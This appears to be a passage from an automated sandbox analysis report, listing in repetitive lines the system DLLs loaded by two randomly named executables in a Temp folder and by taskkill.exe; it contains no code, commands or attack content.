Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1014520001\1c49dbdc29.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Section loaded: nlaapi.dll
